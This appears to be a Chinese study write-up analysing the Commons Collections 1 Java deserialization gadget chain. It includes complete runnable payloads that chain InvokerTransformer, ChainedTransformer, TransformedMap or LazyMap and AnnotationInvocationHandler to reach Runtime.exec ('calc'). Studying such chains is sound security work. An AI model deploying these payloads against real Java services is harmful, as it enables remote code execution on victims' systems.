CC1的学习
前段时间学习了Java的一些基础语法,然后就想学学CC1。所以就有了这篇文章。
环境配置
Java
Java版本应在8u71之前,后续版本已经修复
commons-collections
该依赖版本应在3.1-3.2.1之间
源码
在java安装路径下解压src.zip,然后下载sun的源码到src文件夹,可以在以下网址寻找对应版本的sun包:https://hg.openjdk.org/
IDEA
首先安装好maven,新版默认绑定,然后插件会自动安装。新建一个maven的项目环境,之后项目结构会如下图所示:
在 pom.xml
中的 <project>
标签下导入依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
CC1
InvokerTransformer
导入commons-collections依赖后在IDEA的外部库中就会出现其对应的源码,此时查看org.apache.commons.collections.functors下的InvokerTransformer类。
这个类中有一个 public
构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
其参数:
- 方法名
- 类数组:准确的说应该是存储方法参数对应的类
- 对象数组:存储方法的参数
还有一个方法:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
可以看出这个方法应用了反射去调用方法,所以这里我们可以写一个代码尝试一下:
public class study1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);
}
}
从源码中可以看出调用 transform()
方法的参数应该是 exec
方法所属的类的实例化对象。
Transformedmap
从上面可以看出 InvokerTransformer
这个类是可以反射执行命令的。我们现在把链加长一下,上面看到 transform
是反射入口,那么现在看一下哪里调用了这个 transform
。在查找前先进行设置:
作用域到库,不然搜不到。可以看到找到了 checkSetValue()
方法:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这里由于是protected,所以没法直接调用,因此继续寻找哪里调用了 checkSetValue()
。
找到了 setValue()
方法,这个方法在一个内部类中,这个类继承了AbstractMapEntryDecorator抽象类。
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
同时,MapEntry是AbstractInputCheckedMapDecorator的一个内部类,大致看一下AbstractInputCheckedMapDecorator就可以发现还有一个内部类EntrySet,在这个内部类中多次new了MapEntry。既然new了,那么就可以调用 setValue()
方法。再看一下AbstractInputCheckedMapDecorator又能发现 entrySet()
方法,这个方法实例化了EntrySet。
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
为了调用 entrySet()
方法,我们需要实例化一个对象,那么这里实例化TransformedMap这个类也就是上面 checkSetValue()
方法所在的类,因为这个类继承了AbstractInputCheckedMapDecorator抽象类,可以使用父类的 entrySet()
方法,但是TransformedMap的构造方法私有,观察这个类可以找到一个静态方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
可以通过这个方法去实例化。这里先分析下这个方法的三个参数,第一个参数map需要是非空map(跟踪构造方法可知),第二个参数没有什么具体作用可留空,第三个参数为调用 transform()
方法的对象,因此应该是InvokerTransformer实例化的对象。
因此有payload:
public class study1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
HashMap map = new HashMap<>();
map.put("key","value");
Map<?,?> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:TransformedMapMethod.entrySet()){
entry.setValue(r);
}
}
}
最后串一下这个过程:
这里的payload只有最后的for遍历不是很好理解。这种遍历方式首先会实例化一个EntrySetIterator对象,然后调用 hasNext()
方法,判断是否有下一个。
public boolean hasNext() {
return iterator.hasNext();
}
如果有下一个,就会返回一个MapEntry对象。然后就可以调用 setValue()
方法了。
AnnotationInvocationHandler
继续查找引用了 setValue()
方法的类,找到了sun.reflect.annotation.AnnotationInvocationHandler这个类:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name); //
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
这个类的 readObject()
方法中调用 setValue()
方法的for循环和上面的payload非常相似,那么这里就考虑从这里继续利用,但是观察AnnotationInvocationHandler这个类就能发现可见范围是default,那么到这里基本思路就可以是通过实例化一个AnnotationInvocationHandler,然后反序列化AnnotationInvocationHandler对象进而调用 readObject()
方法。
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
这里传入的transformedMap也就是for循环中的memberValues,这个可以查看构造函数:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
到这里还有一个问题,就是setValue()传参问题,这个类中传入的是AnnotationTypeMismatchExceptionProxy对象,但是我们应该传入的是Runtime对象。所以这里先将命令写成可序列化的模样:
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime",null);
Runtime runtime = (Runtime) getRuntime.invoke(null,null);
Method getExec = c.getMethod("exec", String.class);
Object obj = getExec.invoke(runtime, "calc.exe");
然后写成InvokerTransformer的形式:
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null})
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"})
然后使用ChainedTransformer递归调用因为这个类继承了Transformer,可以生成TransformedMap:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
然后看一下递归部分的代码:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这个类中重写了 transform()
方法,new ConstantTransformer(Runtime.class)
部分代码如下:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
相当于是传入什么就返回什么,这样多次递归就能调用 exec()
方法了。payload如下:
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value"); //设置map的值
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// 实例化
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception {
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("bin"));
Object obj = inputStream.readObject();
inputStream.close();
}
流程图:
LazyMap链
org.apache.commons.collections.map下的LazyMap类有以下方法:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看出key和factory是可以控制的,因此有payload:
public static void main(String[] args) {
HashMap map = new HashMap<>();
map.put("key","value");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer);
lazyMap.get(Runtime.getRuntime());
}
回到AnnotationInvocationHandler,发现还有一个方法:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
在这个方法当中可以看到有调用 get()
,经过前面的分析可知这个类的memberValues是可控的,那么不就可以和LazyMap相结合吗?payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class study1 {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,chainedTransformer);
// 实例化AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,lazyMap);
invocationHandler.invoke(new Object(),MyInterface.class.getMethod("equals"),new Object[]{});
}
}
interface MyInterface {
void equals();
}